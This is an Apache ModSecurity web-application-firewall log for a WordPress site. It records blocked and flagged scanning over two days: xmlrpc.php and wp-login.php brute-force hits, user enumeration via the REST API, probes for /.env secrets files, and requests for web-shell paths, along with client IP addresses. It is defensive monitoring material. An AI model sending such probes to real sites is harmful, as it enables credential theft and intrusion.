[Wed May 20 15:23:51.000717 2026] [:error] [pid 41364:tid 41366] [client 170.106.84.136:42120] [client 170.106.84.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag1hhhKTmyvxtNXrN-idhwAAAIA"]
[Wed May 20 15:27:03.988666 2026] [:error] [pid 41277:tid 41286] [client 162.241.2.94:60844] [client 162.241.2.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.94, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag1iR7TTCltJmboB5ufqvwAAAAQ"]
[Wed May 20 15:29:53.192701 2026] [:error] [pid 41364:tid 41370] [client 154.192.19.61:2428] [client 154.192.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.192.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1i8RKTmyvxtNXrN-ieEwAAAIQ"]
[Wed May 20 15:30:03.282208 2026] [:error] [pid 7731:tid 7756] [client 154.192.19.61:2977] [client 154.192.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.192.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1i-39qQlHXbkl2nEup6AAAAZc"]
[Wed May 20 15:30:13.675767 2026] [:error] [pid 44059:tid 44079] [client 154.192.19.61:1778] [client 154.192.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.192.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1jBRfFs-oSOOcyjyzhDgAAARI"]
[Wed May 20 15:30:24.926809 2026] [:error] [pid 44059:tid 44076] [client 154.192.19.61:2442] [client 154.192.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.192.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1jEBfFs-oSOOcyjyzhGgAAAQ8"]
[Wed May 20 15:30:34.615907 2026] [:error] [pid 44059:tid 44062] [client 154.192.19.61:1557] [client 154.192.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.192.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1jGhfFs-oSOOcyjyzhHQAAAQE"]
[Wed May 20 15:43:08.564217 2026] [:error] [pid 7731:tid 7746] [client 212.227.129.210:58854] [client 212.227.129.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.227.129.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag1mDH9qQlHXbkl2nEuu_wAAAY0"]
[Wed May 20 15:55:35.262061 2026] [:error] [pid 41364:tid 41388] [client 223.225.103.36:3419] [client 223.225.103.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.225.103.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1o9xKTmyvxtNXrN-iiYAAAAJY"]
[Wed May 20 15:55:43.823594 2026] [:error] [pid 41364:tid 41378] [client 223.225.103.36:46867] [client 223.225.103.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.225.103.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1o_xKTmyvxtNXrN-iiZAAAAIw"]
[Wed May 20 16:01:02.545503 2026] [:error] [pid 41279:tid 41357] [client 223.225.103.36:43556] [client 223.225.103.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.225.103.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1qPrEFyfaehGZbt4x7SwAAANU"]
[Wed May 20 16:03:20.626332 2026] [:error] [pid 7731:tid 7743] [client 223.225.103.36:37493] [client 223.225.103.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.225.103.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1qyH9qQlHXbkl2nEu1iQAAAYo"]
[Wed May 20 16:03:54.949604 2026] [:error] [pid 44059:tid 44075] [client 223.225.103.36:43590] [client 223.225.103.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.225.103.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag1q6hfFs-oSOOcyjyznUwAAAQ4"]
[Wed May 20 17:41:51.171504 2026] [:error] [pid 7664:tid 7678] [client 200.63.96.11:42604] [client 200.63.96.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 200.63.96.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag2B33Z8s7o3eiqT2kvmTgAAAUs"]
[Wed May 20 17:41:52.879904 2026] [:error] [pid 7664:tid 7681] [client 200.63.96.11:42604] [client 200.63.96.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 200.63.96.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag2B4HZ8s7o3eiqT2kvmUAAAAU4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 17:46:19.195009 2026] [:error] [pid 44059:tid 44077] [client 154.160.1.24:42088] [client 154.160.1.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.160.1.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag2C6xfFs-oSOOcyjyz6eQAAARA"]
[Wed May 20 18:04:01.075103 2026] [:error] [pid 44059:tid 44063] [client 154.160.1.24:61881] [client 154.160.1.24] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ag2HERfFs-oSOOcyjyz9egAAAQI"]
[Wed May 20 18:04:48.171876 2026] [:error] [pid 7664:tid 7679] [client 154.160.1.24:42673] [client 154.160.1.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.160.1.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag2HQHZ8s7o3eiqT2kvpRQAAAUw"]
[Wed May 20 19:14:20.209206 2026] [:error] [pid 7664:tid 7689] [client 49.51.252.146:37266] [client 49.51.252.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag2XjHZ8s7o3eiqT2kvzuQAAAVY"]
[Wed May 20 19:37:37.428982 2026] [:error] [pid 7731:tid 7735] [client 43.153.7.191:52746] [client 43.153.7.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag2dAX9qQlHXbkl2nEv-SQAAAYI"]
[Wed May 20 21:34:48.995649 2026] [:error] [pid 41279:tid 41352] [client 162.241.63.16:53708] [client 162.241.63.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.63.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag24eLEFyfaehGZbt4yhqAAAANA"]
[Wed May 20 22:44:28.226436 2026] [:error] [pid 7731:tid 7740] [client 170.106.192.208:33528] [client 170.106.192.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag3IzH9qQlHXbkl2nEs6IgAAAYc"]
[Thu May 21 02:47:15.259890 2026] [:error] [pid 41364:tid 41386] [client 43.155.162.41:35836] [client 43.155.162.41] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag4BsxKTmyvxtNXrN-hCOgAAAJQ"]
[Thu May 21 07:04:43.611955 2026] [:error] [pid 9189:tid 9220] [client 43.133.253.253:58266] [client 43.133.253.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag4-C5vTDh1NbYizKVwVDwAAAgE"]
[Thu May 21 07:25:23.887040 2026] [:error] [pid 9157:tid 9166] [client 129.226.217.17:39312] [client 129.226.217.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag5C48GfHcLNqE8m88I4OAAAAYc"]
[Thu May 21 09:03:35.696530 2026] [:error] [pid 9188:tid 9213] [client 106.54.62.156:36812] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag5Z57GYm6q5dNSUvA923QAAAdU"]
[Thu May 21 10:17:33.298663 2026] [:error] [pid 9189:tid 9232] [client 4.205.126.249:7591] [client 4.205.126.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ag5rPZvTDh1NbYizKVw9AQAAAg0"]
[Thu May 21 10:17:33.505194 2026] [:error] [pid 51613:tid 51632] [client 4.205.126.249:7573] [client 4.205.126.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ag5rPWbP0MDvqrVnwequ2wAAARE"]
[Thu May 21 10:17:33.717462 2026] [:error] [pid 49879:tid 49926] [client 4.205.126.249:6696] [client 4.205.126.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ag5rPYVqYDjFSyG2gFoqygAAAEY"]
[Thu May 21 10:17:34.359364 2026] [:error] [pid 9189:tid 9242] [client 4.205.126.249:7593] [client 4.205.126.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ag5rPpvTDh1NbYizKVw9BAAAAhc"]
[Thu May 21 10:17:35.170808 2026] [:error] [pid 9188:tid 9200] [client 4.205.126.249:7610] [client 4.205.126.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "ag5rP7GYm6q5dNSUvA-CzwAAAcg"]
[Thu May 21 10:54:45.074211 2026] [:error] [pid 49884:tid 49970] [client 103.171.117.57:64680] [client 103.171.117.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.117.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag5z9a5MPpsTNNHWS6gaPwAAAJc"]
[Thu May 21 10:54:54.768250 2026] [:error] [pid 9157:tid 9175] [client 103.171.117.57:65122] [client 103.171.117.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.117.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag5z_sGfHcLNqE8m88JObQAAAZA"]
[Thu May 21 10:55:05.018924 2026] [:error] [pid 9188:tid 9212] [client 103.171.117.57:65458] [client 103.171.117.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.117.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag50CbGYm6q5dNSUvA-IOQAAAdQ"]
[Thu May 21 10:55:15.353931 2026] [:error] [pid 49982:tid 49992] [client 103.171.117.57:49409] [client 103.171.117.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.117.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag50E2FwIDa5Tf8O4bZpBAAAAMg"]
[Thu May 21 10:55:25.723706 2026] [:error] [pid 49884:tid 49965] [client 103.171.117.57:49752] [client 103.171.117.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.117.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag50Ha5MPpsTNNHWS6gaTQAAAJI"]
[Thu May 21 10:59:25.866265 2026] [:error] [pid 9189:tid 9221] [client 103.171.117.38:57779] [client 103.171.117.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.117.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag51DZvTDh1NbYizKVxEhgAAAgI"]
[Thu May 21 11:04:15.335696 2026] [:error] [pid 49982:tid 49987] [client 43.130.101.151:43992] [client 43.130.101.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag52L2FwIDa5Tf8O4bZreQAAAMM"]
[Thu May 21 11:23:50.015292 2026] [:error] [pid 49884:tid 49958] [client 43.134.51.171:52338] [client 43.134.51.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag56xq5MPpsTNNHWS6gkZAAAAIs"]
[Thu May 21 12:26:11.092063 2026] [:error] [pid 49884:tid 49967] [client 155.103.71.238:60609] [client 155.103.71.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "ag6JY65MPpsTNNHWS6g6pAAAAJQ"]
[Thu May 21 12:26:12.846399 2026] [:error] [pid 51613:tid 51638] [client 155.103.71.238:60716] [client 155.103.71.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "ag6JZGbP0MDvqrVnwerABgAAARc"]
[Thu May 21 12:44:53.300998 2026] [:error] [pid 9189:tid 9231] [client 148.251.171.211:43056] [client 148.251.171.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.251.171.211, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag6NxZvTDh1NbYizKVxbHgAAAgw"]
[Thu May 21 13:37:50.956599 2026] [:error] [pid 49982:tid 49989] [client 122.183.36.66:23721] [client 122.183.36.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.36.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag6aLmFwIDa5Tf8O4baV1gAAAMU"]
[Thu May 21 13:38:00.856245 2026] [:error] [pid 49884:tid 49953] [client 122.183.36.66:5472] [client 122.183.36.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.36.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag6aOK5MPpsTNNHWS6hVQQAAAIY"]
[Thu May 21 13:38:12.007351 2026] [:error] [pid 9188:tid 9196] [client 122.183.36.66:27028] [client 122.183.36.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.36.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag6aRLGYm6q5dNSUvA-kHAAAAcQ"]
[Thu May 21 13:38:21.982682 2026] [:error] [pid 49982:tid 50007] [client 122.183.36.66:7645] [client 122.183.36.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.36.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag6aTWFwIDa5Tf8O4baV9gAAANc"]
[Thu May 21 13:38:31.729142 2026] [:error] [pid 49884:tid 49966] [client 122.183.36.66:30442] [client 122.183.36.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.183.36.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag6aV65MPpsTNNHWS6hVSwAAAJM"]
[Thu May 21 14:36:36.730006 2026] [:error] [pid 49879:tid 49942] [client 20.63.209.8:1093] [client 20.63.209.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ag6n9IVqYDjFSyG2gFpDUAAAAFY"]
[Thu May 21 14:36:37.389375 2026] [:error] [pid 49884:tid 49967] [client 20.63.209.8:1166] [client 20.63.209.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ag6n9a5MPpsTNNHWS6huWwAAAJQ"]
[Thu May 21 14:36:38.001530 2026] [:error] [pid 49982:tid 50001] [client 20.63.209.8:1188] [client 20.63.209.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ag6n9mFwIDa5Tf8O4bamzwAAANE"]
[Thu May 21 14:36:38.662811 2026] [:error] [pid 9157:tid 9183] [client 20.63.209.8:1090] [client 20.63.209.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ag6n9sGfHcLNqE8m88JoxAAAAZg"]
[Thu May 21 15:03:30.370762 2026] [:error] [pid 9157:tid 9183] [client 43.167.157.80:36610] [client 43.167.157.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag6uQsGfHcLNqE8m88JsHAAAAZg"]
